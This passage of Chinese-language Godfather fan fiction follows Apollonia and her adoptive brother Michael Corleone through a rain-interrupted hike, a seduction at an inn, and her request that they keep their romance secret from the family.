她仍沉浸在思绪里,想象着那双沾着血和灰尘的手奋力搬开同袍尸体的绝望,心脏说不出的难受,下意识看向说话的人:“什么?”
却没想到他也在看她,目光不可避免地碰在一起。
“呃…是桑尼和我说的,他说你下午要排演话剧,以为你要很迟回来。我对你的学业一点儿都不了解,能和我说说说吗?我只是想了解一下……课程。”
也许是明亮的光线,也许是他那双漆黑的眼,也许是支支吾吾、缺乏逻辑的语句,也许最后那淹没殆尽后挣扎吐出的替代词,这一切混合在一起,形成一个瑰丽绵长的通奏低音。教她一瞬间察觉到了,那近乎战栗的热症并非只是她单方面的渴求。
啊,原来如此。
她忍不住笑起来,仿佛敲开牡蛎露出肥厚鲜润的肉,心底一下子坦然起来。
“是仲夏夜之梦。我扮演的只是无关紧要裁缝,就是那个斯塔弗林。我早回来是因为,”她握上了他握刀的右手,用极为坦诚的、对待兄长的语气说,“我想要早些见你,毕竟当初我们一起追了那么久的战事,你报名参战,也有我的一部分原因。”
本来因为说话而悬在半空的银色刀刃叮锒一声触上餐盘。迈克尔忽然转开眼,认真切起了羊排,低声说:“这是我的选择。和你无关。”
可她四个手指仍然搭在他的手背,并未被挣脱。
卡梅拉瞧见了,由衷感叹:“艾波和迈基感情还是一样好。”
这让桑蒂诺想起那桩乌龙,“妈妈,迈克竟然不知道艾波是女孩!嘿!弗雷多,你没和他讲吗?”
弗雷多大惊:“我以为他早就知道了!不然以前干嘛那么照顾她。”
艾波一愣,但迅速反应过来,用信赖孺慕的语气炫耀道:“迈克就是对我很好。”
然后,她看到,这一短得敷衍的、一听就是客套的夸赞,竟然让他的耳廓缓缓透成了红粉色。
啧。她现在可以确定两件事。
一,迈克尔.科里昂可能早就喜欢她了。
二,迈克尔.科里昂还是个雏。
那么,后面的事就很简单了。
*
和桑尼足足聊了半小时,身体才彻底冷静下来。
又过了一个多钟头,母亲回来了,眼睛闪着泪光地上下打量,给了他一个吻。再然后是汤姆.黑根,他用力地拍拍他的肩膀,说好样的。他的妻子出生在新泽西的意大利裔家庭,笑容和说话的方式优雅得体。最后是弗雷多和康妮,一个用力拥抱他,一个笑容满面的。
全家都欢迎他,除了父亲和艾波。
他不在意父亲的认可,他是成年男人,并不缺父亲那吝啬的一两句赞赏。
可艾波,她为什么不能多看他一眼呢?
坐在起居室里看了大半个下午的书,中途他以上厕所为由悄悄看瞧过她,蜷腿坐在浅米色的沙发里,棕色的长发柔顺地披散,脸上仿佛蒙着一层光,温馨又可爱,让他恨不得立刻找来相机,好拍下来放进胸口的位置珍藏。
晚餐的时候也是,他明明就坐在她的旁边,可哪怕入座时,她都没有给他多余的一个眼神。她看了汤姆三次,朝桑德拉笑了两次,还给康妮递了一次面包,就是没有看他一眼。仿佛他是一个无关紧要的、可有可无的人。
可他一直是她的迈克啊,送她上下学、帮她收集报刊杂志、陪她跑步的好哥哥啊。为什么她对他这么冷淡?
迈克尔感觉自己像个可怜的流浪汉,滴滴答答地拄着小棍,
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探到她面前,乞求得到一星半点儿的施舍。
虽然吃上了在热带海岛上想了无数回的妈妈亲手做的意大利面,迈克尔的情绪并没有好转。没什么比发现爱人是女孩,可她似乎对自己并无好感更郁闷了。
忽然,弗雷多叫了他的名字,想让他说说战场上的事情。这并不是好话题,他并不畏惧父亲的权威,可这张桌子上全是仰仗父亲生活的人,他不能让他们难做。
正当他打算三言两语揭过这个话题时,艾波开口了。她提起酒杯为他祝酒!她在意他的平安!
这种快乐的感觉,就像雨中流浪的丧家犬忽然瞧见苦寻已久的主人,骤然被他的世界所接纳。
迈克尔灵魂都像棉絮般飞扬起来,一杯一杯地喝酒,想要鼓足勇气,再向他的世界迈进几步。
艾波不讨厌他,艾波关心他。那他也要关心艾波。迈克尔混混沌沌地想,没错,他得多和她说说话。于是,他问起她的表演。
她的小手握上来的时候,浑身战栗到简直要把心脏撕成碎片。天知道他凭借多大的意志力才没有反手回握住她,当着全家人的面告白。那她这辈子都不会和他好了。
这时,桑尼又提起了那桩丢人的事,迈克尔坐在那里,身体一下子僵了。倒不担心被她嘲笑,只是怕她误会他喜欢男孩,对他避而远之。
没等他想好措辞,艾波又说话了。甜甜的、糯糯的,让他整个人都像刚放进烤炉的披萨面团,又软又烫。
吃过晚餐,全家聚在起居室。
桑尼的大儿子尼诺趴在地毯上玩小火车。长长的轨道绕过沙发、爬上茶几小镇,以拿到现实中绝对算作奇观的坡度骤然接回地面,画出三个缓和的s型,才慢悠悠回到首发站台。他的妹妹凯西坐在婴儿椅里,兜着围嘴,嘴巴咂巴果泥,眼睛乌溜溜地跟着那三节咔嚓咔嚓的小火车移动。
迈克尔想,他和艾波的孩子一定比他们还可爱。
桑尼和汤姆吃完晚饭一起出门了,留下桑德拉和特蕾莎在落地灯底下做手工。银钩快速穿梭,细长的白纱线逐渐汇成精巧的蕾丝杯垫和桌布。妈妈也和她们一起,三人人时不时交流一两句,商量后一层的花样。
迈克尔想,他才不舍得把艾波丢在家里。等他们结婚了,他一定每晚都要和她在一起,哪怕什么都不做,一起看棒球比赛都很幸福。
就像现在这样。墙角摆着一台价值一幢小公寓的黑白电视机,正播放上周末的棒球赛。弗雷多双肘搁在大腿,身体前伸,聚精会神地观看。他说上周父亲飞旧金山谈生意,派他在橄榄油公司坐镇,所以没能赶上直播。
艾波坐在他边上,更松弛的坐姿,神情如出一辙的专注,时不时地替球员小声加油。
电话铃第三声响起,桑德拉离电话最近,来到三英尺高的隔断矮墙接起:“迈克,找你的,叫约翰森.康纳。”
迈克尔走过去,接过听筒:“约翰,怎么啦?”
对面传来战友兴奋的声音:“迈克!明天有空吗?我们一起去恩雅克玩吧!”
迈克尔飞快瞥了眼艾波,他只想待在家里,和她在一起。“我不太有空…”
“帮我个忙吧。”康纳恳求道,“佩吉.杜蒙特你还记得吗?就是你妹妹的同学,我们昨天认识的。我和她电话聊起远足,想明天一起去。我和她两人怕尴尬,请你帮帮忙,带上你妹妹一起来吧。”
迈克尔一顿,“等我问一下艾波,她要是愿意的话,我们就来。”
我们。话音刚来,迈克尔才意识到自己用了这个词,他和艾波共享一个人称主语,有一种互相融为一体的亲密。
他轻咳一声,声音越过大半个起居室,大声问艾波:“康纳想约佩吉去恩雅克,明天,你去不去?”
艾波从小小的电视机屏幕分出一丝注意力,心不在焉地说:“埃里克和安吉拉去的话我就去。”
迈克尔原话复述,康纳兴奋地一口答应:“我这就叫他们。那小子可喜欢我了,不会不答应的。”
过了半小时,那边给回复,去。
于是,七人远足就这样成行了。
19.Chapter19
即便到了前往恩雅克的路上,艾波仍讲不清楚对迈克尔算什么感觉。
她总是忍不住关注他。仿佛感官化成蛛丝,张牙舞爪遍布整个空间,他稍稍一动便牵动她的欲望——吞咽咖啡时涌动的喉结,残留在嘴角的一星面包屑,握紧方向盘时突出的指关节……无一不让她想亲吻那张算得上恢弘的面庞,让他一遍一遍喑哑地喘出自己的名字……
世界骤然变得朦胧暧昧,就像康妮在杂志上翻到一件漂亮衣服,说不上来为什么非它不可,就是想尽办法一定要搞到它,不然就茶饭不思、做梦都念叨着它。
至于得到以后?艾波望着窗外的景色,轿车飞速行驶在崭新的沿湖公路,车道平直地圈着河岸,清泠波光反照天空,如同一条碧蓝的绸带铺展蜿蜒。
总是不缺安置他的办法。
后座的大兵们聊着最新战况:西线盟军兵分三路快速向柏林推进,东部太平洋战场仍然胶着,但自本周美军成功登陆冲绳岛,胜利曙光已然初现。
同为退役士兵的迈克尔没有参与讨论,但和专心开车毫无关系,隔三五分钟向她看一眼,仿佛她是尼诺、凯西之类需要被特别关照的儿童。
他离她如此之近,她不用转头用眼睛看,都能想到那双黑亮的大眼睛里的专注和隐隐的渴盼了。车厢里弥漫淡淡的雪松味,仿佛林间风贴着耳畔的低声絮语。
到后来理查德出声调侃:“迈克,有你这样的哥哥在,艾波洛尼亚未来的丈夫压力很大。”
“丈夫?艾波的喜欢最重要。”他语气轻松,内容有种答非所问的奇怪。
康纳唯恐天下不乱:“艾波洛尼亚,这可是他说的,记得到时候把我介绍给你丈夫,要是他食言,我替你丈夫出气揍他。”
“那我先替他谢谢你了。”艾波笑起来,她丈夫搞不好还没出生呢。
恩雅克说远不远,说近不近。从长滩出发,跨过曼哈顿岛,四人说说笑笑,顺着哈德逊河一路北上,将近两个钟头才抵达目的地。
恩雅克镇口的杂货店实在很显眼,橙漆的字母招牌,佩吉、安吉拉和埃里克已经在等在那里。两位姑娘坐在门廊下的长椅,男孩儿倚靠柱子,手里拿着玻璃瓶装的可乐,兴奋地说着话。
“你来啦!”轿车从她们面前经过驶入一旁的停车场时,佩吉高兴地从椅子上蹦起来喊道。
停好车,众人在杂货店门口会合。地平线附近浮着一圈蕾丝花边似的云层,只有中间是蓝的。
“老板说有两条路线,”佩吉分享打听来的消息,“一条沿着河滩走,路程比较长,终点是哈弗斯码头,我们可以坐船回来。另一条是环线,从胡克山的南麓上去,沿着马蹄形的山脊线下来,再走一段路就回到这里了。”
“你想走哪一条?”康纳笑眯眯地看着她,“我们带了鸟枪和短刀,走那一条路线都不用担心。”
艾波没出声,看着男孩女孩们商量片刻,打算走山路。
“自上而下地看哈德逊河一定很美。”安吉拉充满向往。
埃里克立刻赞同:“没错!”
真是没眼看。
确定了路线,一行人便上路了。
山路很宽阔,并无明显的道路。起初大家相聚不远地并排走,佩吉、安吉拉和艾波小声分享着前一晚排练的趣事,走着走着,队伍自然散开重组,埃里克领着艾吉拉打头,中间康纳护着脸颊红扑扑的佩吉,剩下艾波三人一起走。
理查德今天穿着西装常服,没有戴制式宽檐帽,他身上那股子过于油腻的性感好像随着帽子一齐消失,变得活跃而健谈。
“我小时候父亲经常带我来打猎。打松鸡之类的鸟类需要瞄准脑袋,基本一枪就能搞定猎物,可打鹿就不能瞄准头。”
艾波睁大眼睛,露出天真的表情:“为什么?”
“因为鹿跑得快,头会乱动,可能子弹偏移,击碎它的下巴。没有了下巴,它就咀嚼不了食物,最后会活活饿死。”
“太可怜了,”艾波叹息,“那怎么做是正确的呢?”
“心肺。”理查德做了个标准的射击姿势,“一枪下去基本可以送它去见上帝。噢,希望没有吓到你。”
“怎么会呢?”艾波微笑,“我还没有怎么尝过鹿肉,是什么味道?”
“味道啊,咬起来有些硬……”
漫无目的地闲聊着走了半个小时,迈克尔始终一言不发,要不是偶尔扯碎踩断了陈年枯枝,几乎要忘了他也走在一起。
灰色的山石头胡乱地堆在树根,森林尚未长出葱茏的屏障,枝桠间冒着浅浅的新绿,让他们一下走出这稀疏的藩篱。
站在山顶,她们重新看到了平阔的哈德逊河,缓缓向南面的海湾流淌。与来时不同,这条绸带变成了灰色。不知不觉之中,云层悄悄蚕食蓝天,似乎随时都会下雨。
所有人都注意到这一点,来不及细细欣赏美景,便又匆匆下山。可惜到底是慢了,刚走出山路,乌云黑压压地铺满天空,雨水劈头盖脸地砸下,浇得人眼前一片茫茫。
埃里克挣扎着想撑伞,结果狂风把伞面整个刮反,他不得不丢开伞,拉起安吉拉的手往镇子里跑。
艾波跟在他们后面。她单知道今天要下雨,可没想到是这种瓢泼大雨,仔细听,云层里甚至还孕育着雷电。要是被劈到了,算不算她觊觎养兄的报应?
正当她边跑边为这个唯心的想法感到好笑,头顶的雨水忽然变得柔和,原来是某个板着一张脸的家伙,脱下了妈妈专门给他定制的羊绒外套,双手撑起来挡雨。
漂亮的嘴唇紧抿着,意思不言自明。
“谢谢,”艾波甜甜一笑,“迈克。”
整个人完全钻进他的怀里,右手顺势搂上他的腰,好让自己更多地躲进外套底下。他只穿了一件衬衫,雨水淋得透湿,能清晰地摸到滚烫的腰肌因为奔跑而有力地起伏。
这算是他们的第一个拥抱,来得有些突然,意外地浪漫。
“前面有一家旅馆!”康纳大喊,“去那里歇一歇。”
这是唯一的选择了。不是吗?
店主夫妇热情地接待了他们,提供毛巾和热腾腾的蔬菜汤,汤里面有一些牛内脏碎,配合辛辣的黑胡椒碎,喝下去顿时驱寒回暖,缓过劲儿来。
“所以现在怎么办?已经两点了。”佩吉放下汤匙问。她和安吉拉的长发一缕一缕地贴着脸颊,哪怕用毛巾擦拭过,几撮发丝仍往下滴水珠。
艾波想自己的样子应该也差不多,因为迈克尔又问店主要了一块毛巾,默不作声地递过来。
“要不暂时开几个房间?”埃里克试探着提出,“看这样子这雨一时半会儿停不了,不如我们在这里休息休息,等雨停再回去,也免得姑娘们感冒了。”
提议得到一致同意,立刻找店主办理入住。七个人,四男三女,很快便分好了房——迈克尔和康纳、理查德和埃里克、佩吉和安吉拉、艾波单独一间。
就差最后一步了。
晚间八点,艾波坐在提前布置好的床上,拎起电话,模仿着电影里斯佳丽的语气,无辜又骄纵地说:“迈克,太无聊了,我想打扑克,你来陪我嘛。”
他真的很好操控,没有任何怀疑,反倒体贴地问:“有牌吗?要我顺便叫埃里克他们来吗?”
“我这里有牌。不用叫其他人,安吉拉暂时不想看到埃里克,佩吉说她只信得过你。就我们四个。”唉她要是皮诺曹,鼻子早就戳穿地心了。
“好,我这就来。”他音色不算低,带着少年气的清亮,语气却是成年男性的沉稳可靠。
紧张吗?放下听筒艾波望着梳妆镜里的倒影回答,有点。
要停止吗?对面的女孩坚决摇头,当然不。
笃笃笃地敲门声响起,她回过神来,“迈克,进来。”
男人绅士地再次敲了两下门,才合上门缓缓走进来,却惊讶地发现只有她一个:“我到得最早吗?”
“嗯哼。”艾波不可置否。
窗边有一处小吧台,她走到酒柜前,拿下一瓶烈酒,要求道:“给我调些酒。”
喝酒、玩牌的女孩!在未经历过嬉皮士、性解放的年代,简直异端邪说。这是她最后的试探,他但凡管教她一个字,她就立刻放弃他。
毕竟,她愿意屈从欲望,不代表着愿意为它葬送前程。她卧室里缺的是一个听话、可口的男人,而不是自以为是的教导者。
银白地雪克壶在明亮的灯光下熠熠生辉,艾波静静地等待着,说不清自己到底在期待哪一种结局。
他发出一声叹息,近似于无奈,又仿佛面对爆裂璀璨烟火的喟叹。他拿起那瓶威士忌瞧了眼,又看了眼酒柜,问她:“你想喝什么?”
艾波歪头看他:“都行。”
他便真的调起酒来。
毫无疑问的,艾波对他的长相很熟悉,不然也不会隔着马路、报刊亭的阴影和四年的光阴一眼认出他来。可是,到现在这一时刻,她才完全从一个女人的角度欣赏他。
这似乎情有可原,她前日才与他重逢,昨日才下定决心付诸行动,在此之前,他在她心里不过是一个亲近的、有一定潜力、值得维护关系的家人。
她在高脚凳坐下,支起下巴打量他。
他的眉眼非常浓郁,垂眸倒酒时,睫毛密得像用铅笔一根一根描画的。鼻子十分立体,英武的罗马鼻,配合科里昂家一脉相承的性感弓形嘴唇峰,完美综合了微微下垂的眼尾带来的无辜感,竟然混了出一种迷人的……可爱。
他调得很认真。粗粝但也修长的手指捏起一瓣切好的柠檬,指尖微微用力,酸涩的汁液霎时喷溅而出……指尖染上水光,带着难言的诱惑。
“威士忌可乐。”混着可乐与柠檬的酒液自雪克壶口倾泻进玻璃杯,迈克尔推了推半满的酒杯,望向她时,眸色比以往暗了一些。
艾波拿起酒杯,喝了一大口,娇纵地皱起鼻子命令道:“不好喝,换一种。”
迈克尔似乎无言以对,倒空了雪克壶,再次往里面倒烈酒,这回他加了蛋清与柠檬。
“我知道,威士忌酸!”
艾波拿起酒杯,观察着里面仿佛啤酒般冒着一层绵密泡沫的酒液,仰头一饮而尽。
她想她已经喝醉了,不然怎么会用手指去刮杯底的泡沫吃呢?甚至她自己舔完,还不忘递到调酒师的嘴边,好心分享:“这回有进步,你也尝尝。
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”
他似乎不愿意,那双黑漆漆的眼睛闪着某种凶厉的光,迟迟没有动作。在她执着地要求下,才缓缓张口,慢条斯理地伸出舌头,如同猫咪舔毛般,轻轻地舔了一下。
艾波满意了,没有收回手,反而顺势摸摸他的脸,“再接再厉。”
第三杯,调酒师似乎也喝醉了,慌乱到几乎亢奋的程度,倒完威士忌、拧回瓶盖时,差点把旁边的利口酒打翻。
因而,当酒液全部倒进玻璃杯时,艾波大发慈悲地绕过吧台,牵起他的手,品尝他那沾有柠檬汁和酒液的指尖,从指甲到指腹,舌尖地舔吮。
“酸吗?”他哑着嗓子问。
艾波踮脚舔他的下唇,咂摸了几下,评价道:“没有这个酸。”
“她们不会来了,对吗?”他固执地确认。
她凑近他,这回像吃棒棒糖一般,含了一下他的双唇:“你猜。”
他声音变得比之前更沙哑了,“艾波,你确定吗?”
对此,她默默环上他的脖颈,左手引着他颤抖得无以复加的指尖捏上后背拉链。
连衣裙无声地滑落,酒液滴滴答答地淌着。夜风细碎呢喃,月光饱满地撞入,照得室内白光一片。
*
迈克尔花了很长时间挑选衣服,最终决定穿上那身崭新的咖啡套装——既不过份隆重,也能让她眼前一亮。
但艾波似乎完全没有注意到,早餐时她头也不抬地翻阅前一天的晚报。要不是桑尼得知他们要去远足,想派些纽扣人跟随,她为了逃开这保护,才吝啬地把注意力分到他身上,轻松笑道:“迈克和我都是平民,现在也没有大冲突,不会有事的。对吧,迈克?”
“是的。”他跟着点头。
“好吧。”桑尼不再坚持。
和艾波共处一辆车,既是幸福又是折磨。她身上的气息无处不在,彼此近到她吐出来的空气立刻被他吸进肺部,而他呼出的气息也会流淌进她的身体。这么一想,他的身体便不由自主地变烫,想要发生某些反应。
这可不行。她就坐在副驾驶,要是他出丑了她保准看见。于是他只能尽量少说话,将注意力放在开车上。但这也不现实,她就坐在那里,那么漂亮、那么可爱,他怎么能忍住不看她呢?
艾伦.理查德。从他提起艾波丈夫那一句话开始,迈克尔就知道这个恶心的、花心的、贪心的臭虫看上了她。可他不敢挑明,如果他明确表达反感便会正中理查德的下怀,证明他是个管得过宽的哥哥,所谓的她就好喜欢只不过是虚伪的慷慨。他不想在艾波心里背上伪君子的形象。
可这就代表着他要忍让吗?是的。
迈克尔用了全部的克制力才没有在山上一拳揍翻理查德。
那些打猎的技巧艾波怎么会不知道呢?别说她打小以男孩的外形长在西西里,就是跟来纽约的这十年,每年秋天爸爸也会带他们去新泽西的林场狩猎,她的枪法比桑尼还准,多大的猎物、多小的子弹都能一枪毙命。
她愿意应承的原因只有一个——她对理查德有好感。
一想到这一点,迈克尔觉得浑身骨头都像泡进酸水里,生出一种近乎绝望的无力感。会有办法的,他不断安慰自己,艾伦这家伙最是花心,在岛上就和好几个护士打情骂俏,只要他和艾波讲明,她自然会远离他。
可要是她不听呢?迈克尔脑子乱作一团,所谓的自然风景在他眼里和家门口的野树丛、小水沟无甚区别。
下山的时候,突如其来地来了一场雨。雨水浇在她瘦弱的身躯,哪怕他清楚她有着一拳垂死成年男人的力量,心中仍然不可遏制地生出怜惜之情,想要为她遮风挡雨。
她钻进了他的怀里,如同一只被雨水打湿翅膀的蝴蝶,小小地攀住他的腰。那一刻,迈克尔发自内心地感谢上帝以及万能宇宙意志,让他拥有这一须弥的幸福。
做下在旅馆休息的决定后,迈克尔给家里拨了一个电话,告知母亲暂时不回家。母亲表示知晓,并让他好好照顾艾波。
挂了电话,他想,这还需要交代吗?他怎么会舍得她受到伤害、怎么舍得她哭呢?
万万没想到,这个想法产生后不到七小时。他便食言了。
她叫他去房间,她命令他调酒,她让他舔她的手指,她吻他……到这里他仍以为这只是她一时兴起——她是那么的独特,在某个无所事事的雨夜想要游戏人间品尝欲望似乎也不奇怪——他克制着欲望确认,害怕她想要找的是理查德或是任何人。
直到对他来说短得像梦,却让她双唇红肿的吻结束,她那双漂亮得无以复加的眼睛,潋滟着,微微喘息,支使他打开床头柜。
抽屉拉开,里面赫然躺着几只保护用品。
“有桑尼的尺寸。”她贴上他的后背,声音软得能掐出水,像是在邀功,“桑德拉给我的。”
到这时候,他便知道这是一场蓄谋。
还能怎么办?他从来都是她的。他愿意以父母的姓名荣誉发誓永远珍爱她、尊重她,并为她献上一切忠诚与忠贞。
但这不妨碍他爱极了她抿唇啜泣的模样,爱极了她咬着他的肩膀狠狠咒骂的凶狠。
这是她选的,不是吗?
20.Chapter20
手指落在脊柱轮廓,轻之又轻地游移,仿佛黑鸢掠过水面,留下一串断断续续的涟漪。
艾波睁开眼,第一眼看见依然暗着的天,一截镰刀般的月亮悬在铅灰色的地平线上,正正好落在窗外。
“不再睡会儿吗?”
刚看清那轮弯月,他的声音自上方传来,嘶哑而专注,瞬间把她带回睡前的回忆,喘息与一层又一层的深切接触推向的至高幸福……快乐是如此明晰,以至于她没有挥开他乱摸的手。
他似乎并不是非要一个回答,手指滑顺着腰线下滑,温热的掌心地贴上她的腰,整个人得寸进尺地缠绕上来。艾波配合地动了动,让自己舒服地窝进他的怀抱。
谁也没说话,静静地望着窗外。
头顶、耳廓传来他的轻吻,蜻蜓点水,带着电流般的酥麻。显然,再躺下去,又要发生些什么了。
眼看着天一点点变亮,月牙逐渐触上地平线,艾波拍拍横在胸前的那只胳膊,“起床了,迈克。”
一开口才发现喉咙像卡进了一团黏稠的糖浆,哑得不像话,曾一遍遍地用来恳求某人停下,可他呢?活像刹车失灵的蒸汽机,永无止境地前进。
想到这里艾波翻过身狠狠瞪他,气急败坏地推搡他的胸膛,“让开!五英尺宽的床,你一定要挤着我睡吗!”
他笑起来,顺着她的力气向后方宽敞的空位倒去,四肢舒展仰面躺着,十分不走心地道歉:“我的错,我的错。”
碾了碾牙,艾波躺回他身边,手肘撑着枕头细细瞧他。凌乱洒脱的短发,亚热带海岛阳光晒出浅橄榄色皮肤,弧度完美的罗马鼻梁,堪比大卫雕塑的下巴弧度。
“怎么了?”他察觉到她的视线,左手垫在脑后看向她。
手指抚过他的前额,拨开上面细碎的发丝。不知道是否是她记错了,印象里他的头发好像是细细软软的,并没有那么粗硬。
他的笑容逐渐淡去,低声问:“你在想什么?”
“迈克,你知道我参与家族生意吧?家族蒸蒸日上,远比以往强大。但越是庞大的个体,越是要扩张以获得养分,罗马帝国是如此,汉唐帝国也是如此。一旦脚步停止,那内部和外部……”艾波停住,一副没法往下说的样子,手指描摹他的轮廓。
“有敌人要…伤害你?”他的目光收紧,“你是平民,我虽然不是很了解,但也清楚西西里的规矩。”
艾波似模似样地叹了一口气:“那是对外的形象,蒙得住街头小阿飞,可蒙不住真正的硬碴子。就像忒西奥,五大家族都知道他是唐的人。”
“你想我怎么做?”他抓住她想要收回的手,拿到嘴边轻啄起来。
艾波由他吻着,“你是战斗英雄,又游离在家族之外,身份特殊。我希望你成为我的安全阀,如果,我是说如果家族出事,我们的婚姻可以给我提供庇佑。”
他动作一顿,嘴唇抿起来,“这就是你的计划?不对外公开我们的关系?”
“可以吗?包括家人。”艾波小声问,捏捏他的手指,“暂时的。”
他定定地注视她,愈加明亮的天色照进他的眼眸,形成一块窗框形状的光斑。
“艾波,”他喉间发出投降般的叹息,“没什么不可以的。”
“迈基!”她立刻扑进他怀里,开心地说,“你真好!”
“那现在——”
艾波忍着各处关节轻微的酸涨,敏捷地钻出怀抱,跳下床捡起地面的裙子,在他裹挟着欲望的幽深视线里穿上衣服,又把他的衬衫丢过去:“快点起来,不要被发现了。”
他好脾气地坐起来,快速地穿上衬衫,随着他站起来穿裤子,一枚枚牙印显露出来,嵌在他的肩膀,伴随张牙舞爪的红痕,一直延伸至后腰。
艾波有些赧然,冲他笑一笑。却像点燃某些未熄灭的灰烬,他边扣着衣领纽扣边追上她的唇,亲了一口后,抵着她的唇问:“你喜欢我吗?”
“当然。”她快速啄他的嘴,手摸上他紧实的胸肌,把人往门口推。
“真的吗?”黏黏糊糊的。
也许是刚做过,身体还在疯狂分泌荷尔蒙,艾波并不讨厌他的粘人,就是快天亮了,佩吉她们随时会来找她,要是撞见就难堪了。
她只得单手勾上他的脖颈,按照昨晚他们摸索出的吻技含吻他的下唇,轻轻舔吮他伸过来的舌头,相互摩挲探索,气息完全交缠在一起,仿佛一瞬间回到全然融合在一起的那一刻。
“乖,”艾波松开他,微微喘息,“别漏馅,我们有的是时间玩新花样。”
他听懂了。眼神发暗,胸膛起起伏伏,仿佛里面关押着一头怪兽。半晌,喘出一口气,“好。”
艾波奖励般吧唧一口,然后利落地把他推出房间。转身看向室内,两块浴巾胡乱地团在角落里,被子掉在床底,一只枕头在床上,另一只卡在床头的金属栏杆里,是他怕搁伤她的腰,塞在那里给她垫着。
弯腰从沙发底下捡出玻璃杯的时候,她有点后悔那么快把他赶走。怎么着也要让他把房间收拾好才能离开吧?
等整理完一切,房间里那股子情欲的味道也完全散去,时间来到七点,佩吉敲响她的房门,交流了一番睡眠质量,安吉拉也洗漱完毕,三人一道来到一楼。
男人们已经坐在大厅的长条桌旁,身前摆着几盘面包煎蛋和培根,由客人自由取食。她们坐下后,不一会儿,老板娘送来餐盘和餐具。
“早餐就是这一些,”埃里克说着指指吧台,“牛奶和咖啡在那里。”
安吉拉瞧了他一眼,这家伙立刻站起来给她倒了一杯。佩吉坐在康纳身旁隔了一人空间的位置,两人低声谈论着什么。迈克尔和理查德坐得比较近,闷头看报,只在她来时抬头冲她笑了下,是那种家人间恰到好处的熟稔笑容。艾波很满意。
“我们击沉了日本最大的战列舰!”理查德兴奋地说,“大和号,昨天下午的事。上帝呀,胜利唾手可得。”
这是今天听到的最好消息了。艾波接过报纸细细读起来,“该战列舰被命中了24枚炸弹、10枚鱼雷,沉没于九州西南50海里处。真是太棒了!”
“是吧!”理查德坐到她身旁,手指点着报纸上的讯息,复读机般地念出上面的文字,艾波吞咽食物,时不时点头附和。
吃过早餐,七人道别各自回家。和来时一样,理查德和康纳坐在后排,依旧在念叨这场胜利,偶尔艾波也插一句嘴。
奇怪的是,来时一个半小时的路程,现在一个小时便抵达曼哈顿。放下两位大兵,轿车再次启程驶向长滩。
艾波看向男人雕塑般严肃的侧颜,无声地舔了舔下唇。
他没出声,只是把车停到了路旁。已经出了市区,未抵达长滩城区,马路两旁是高高的芦苇,没有任何言语,直接地吻在一起。
艾波指尖触着他的下颌线,半托半摸,如同舔舐雪糕,一口一口地品尝他的唇舌。
他也是,近乎饥饿地亲吻她。越吻越来劲,就在他愈加深入,无意识地用牙齿碾磨她的嘴唇时,艾波推开了他,第一时间拧过后视镜察看。
水润微肿,好在没有出现一时半会儿无法消失的伤口。她瞪向他,警告道:“只有我能用牙,听到了嘛?”
他老实点头,嘴唇也一样的红润,泛着一层水光。再次确认道:“真的不能让妈妈他们知道吗?”
“不能。”艾波觉得自己像责令不许吃糖的老师,非常不讲情面,“你要是敢让他们看出端倪来,这辈子都别想碰我了。”
一晚的深入了解,她已经充分意识到不仅她垂涎他的身体,他更是。远比痴迷更加深刻,像是某种渴症。
她握有绝对胜利的筹码,放软语气,触摸他的手臂:“你答应我的。只要像上午那样就行,唔…把我当成康妮相处。”
*
怎么可能把她当成
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康妮?
康妮可不会边缠着他边娇娇地求饶,更不会替他舔去滑落至鬓角的汗珠。可他能怎么办,她的笑容轻而易举剥夺了他说不的权力,只能像提线木偶般点头,“我尽量。”
“没有尽量!”她娇蛮地要求,“是必须做到!”
“遵命!”他趁机探身亲了她一口,在她反应回来之前发动汽车,让她找不到机会锤他或者咬他。
回到绿荫道,是一个他不认识的男人开着门,艾波叫他卡洛。
“桑尼介绍给康妮的男朋友。”走进家门,她轻声解释,“她对他很上头,但爸爸不喜欢。”
虽然大多数时候迈克尔不赞同老头子的想法,但对卡洛.瑞奇,他难得地持相同看法。这人并没有那么喜欢康妮,总是隐晦地打量艾波,视线在她和康妮之间移动,像是集市里买肉般论斤称两。
今天是礼拜日,家里到处坐满了人,克莱门扎一家子、忒西奥夫妇、潘唐吉利……小孩子们嘻嘻哈哈地在院子里打闹,男人看报聊天,女人帮忙准备食物。
妈妈从厨房出来,先牵着艾波的手上下打量了一番,“没感冒就好,我听迈基说你们淋雨了。”
“我没有事啦,”她很乖地回答,表情乖得又让他想吻她了,“只淋了几分钟,后面立刻洗了热水澡。”
“那就好。现在,小姑娘,快去房间换衣服。”妈妈说,“潘唐吉利夫人给你送了新裙子来,是西西里寄来的。”
她眼睛一亮,头也不回地往楼上跑。
迈克尔努力让自己的视线不跟着她一起消失,保持着看向母亲的方向。
“至于你——”她伸手往起居室满满当当的男人们一指,“你爸爸在大书房,你聊天、喝啤酒、看电视都行。”
桑尼、汤姆都不在这里,弗雷多在外面配小孩玩滋水枪。迈克尔随便找了个位置坐下来,周围谈论着最多的依然是战事。
“仗要打完了,没了军方订单,有些东西要卖不出去咯。”其中一个这么说,语气不乏幸灾乐祸。
“是啊,应该趁现在大量抛售库存,最好把机器也卖掉一些,回笼资金。把钱挂在更有价值的投资上。”
“我听说罗斯有个好生意…”
迈克尔皱眉,意识到他们说的是艾波的泡面产业。显然这几人对这个生意略有微辞,那么他们知道这是艾波的产业吗?或者说他们对该产业的不满来源于艾波吗?迈克尔响起艾波早晨说的话,内部与外部,她认为家族存在叛徒?不,实际做出背叛行为的才算做叛徒,这些应该算是潜在的背叛者,很容易就被收买。
这个情况父亲或者桑尼知道吗?他们会站在艾波那一边吗?迈克尔仔细琢磨起来。
“艾波,求你了,让西多尼亚给我再做一条裙子吧。我要订婚的时候穿。”康妮走下楼梯,“粉色欧根纱的,就像上次我们说的那样。”
“不行。”十分干脆的拒绝,声音的主人一步一步走下台阶,等到完整地出现时,迈克尔不由自主地站起来。
长及小腿中段的裙摆,露出极为优美的跟腱曲线,蓬松顺垂的裙摆由黑色的细皮带掐出一截细细的腰肢,再上面是他钟爱的饱满胸脯,由衬衫般的布料完全包裹,翻领显得她的脖颈愈加修长。此外,这条连衣裙并没有袖子,露出两条光洁的胳膊,充满了诱惑与魅力。
一声响亮的口哨响起,桑尼走进来,朝她张开双臂:“老天保佑,太漂亮了,艾波!”
另一只手揽上康妮的肩膀,小声教训了一句。一左一右勾着两个妹妹向餐厅走去。
迈克尔紧盯着亲哥贴在艾波裸露肌肤上的手,心想爸爸的教育真是糟糕,不然怎么能让他的长子行事如此亲佻,让他的小儿子产生拧断兄长胳膊的想法呢?
